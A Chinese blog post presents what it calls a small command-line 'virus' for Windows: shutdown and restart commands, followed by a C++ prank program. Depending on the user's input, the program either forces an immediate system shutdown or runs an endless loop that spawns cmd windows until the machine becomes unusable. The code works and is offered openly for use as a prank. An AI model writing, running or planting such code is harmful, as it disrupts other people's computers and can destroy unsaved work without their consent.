第三篇:利用命令行写一个小病毒(无限弹窗,关机,重启)

1.命令行

其实原理很简单

cmd知识点(伪代码)

1.无限弹窗

while (1) system("start cmd");

2.关机

shutdown -s -t 0 //立刻关机

shutdown -s -f //一分钟后强制关机

shutdown -a //取消关机进程

3.重启

shutdown -r -t 0 //立刻重启 shutdown -r -f //一分钟后强制重启

4.颜色

2.依据以上我设想的一些有趣的操作

cpp 复制代码
#include <bits/stdc++.h>//c++他不香吗?
#include <windows.h>
#include <conio.h>
using namespace std;
void settype() {
	cout << endl << endl << endl << endl << endl << endl << endl << endl;
	cout << endl << endl << endl << endl << endl << endl << endl << endl;
}
int main() {
	HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
	CONSOLE_CURSOR_INFO CursorInfo;
	GetConsoleCursorInfo(handle, &CursorInfo);
	CursorInfo.bVisible = false;
	SetConsoleCursorInfo(handle, &CursorInfo);
	CursorInfo.bVisible = true;
	SetConsoleCursorInfo(handle, &CursorInfo);
	cout<<"输入1毁灭程序,输入2查看作者的话,输入3安全退出程序";
	char y;
	cin >> y;
	system("cls");
	CursorInfo.bVisible = false;
	SetConsoleCursorInfo(handle, &CursorInfo);
	switch (y) {
		case '1': {
			system("title 呵,你完了!!!");
			system("color 04");
			settype();
			cout << "\t\t            We can be both of God and the Devil.\n\n\t\t  Since we are trying to raise the dead against the stream of time.";
			Sleep(5000);
			system("cls");
			settype();
			cout << "\t\t\t        我们可以是天使,也可以是恶魔\n\n\t\t\t      因为我们要令时光倒流,让人起死回生。";
			Sleep(3000);
			system("shutdown -s -t 0");//shutdown right now!!!
			cout << endl << "\t\t            ";
		}
		case '2': {
			system("title 相见就是缘分,非常感谢您能关注这个系统!!!");
			system("color 07");
			settype();
			cout << "\t\t            相见就是缘分,非常感谢您能关注这个系统!!!";
			Sleep(1000);
			system("cls");
			settype();
			system("title 帅,劝你最好填1!!!");
			cout << "\t\t            嘻嘻,浅浅问一下:作者帅吗?(帅输入1)";
			char p;
			cin >> p;
			if (p == '1') {
				system("title 对嘛,这就对了!!");
				cout << "\t\t            你是有眼光的!送你一天VIP,邀请码:1107   " << endl;
				cout << "\t\t            ";
			} else {
				system("title 呵,you die");
				cout << "\t\t            相见就是缘分";
				Sleep(1000);
				cout << "\t\t          但这个缘分不要也罢!";
				Sleep(5000);
				int a = 0;
				while (1) {
					if (a & 1)
						system("mode con cols=100 lines=40");
					else
						system("mode con cols=1000 lines=400");
					system("start cmd");//无限弹窗
					a++;
				}
				cout << endl << "\t\t            ";
			}
			break;
		}
		default:
			break;
	}

}
相关推荐
:-)20 分钟前
算法-归并排序
java·开发语言·数据结构·算法·排序算法
GIS阵地1 小时前
QgsRasterDataProvider 完整详解(QGIS 3.40.13 C++)
开发语言·c++·qt·开源软件·qgis
charlie1145141913 小时前
Cinux: 为大内核铺路
开发语言·c++·操作系统·现代c++
2501_914245933 小时前
C语言设计模式详解:从理论到实践的完整指南
c语言·开发语言·设计模式
Jerry4 小时前
LeetCode 101. 对称二叉树
算法
可编程芯片开发5 小时前
基于MPPT最大功率跟踪的离网光伏发电系统Simulink建模与仿真
算法
AI科技星5 小时前
线性算子不是空间映射函数,是全域双螺旋场之间拉伸、旋转、耦合、坍缩的跨空间标准化变换载体《全域数学vs传统数学:人类文明进阶200讲》第80讲
线性代数·算法·矩阵·数据挖掘·回归·乖乖数学·全域数学
米罗篮5 小时前
矩阵快速幂 (Exponentiation By Squaring Applied To Matrices)
c++·线性代数·算法·矩阵
肖爱Kun6 小时前
C++设计策略模式
开发语言·c++·策略模式
2501_914245936 小时前
C语言与硬件交互:从GPIO到中断的嵌入式编程实践
c语言·单片机·交互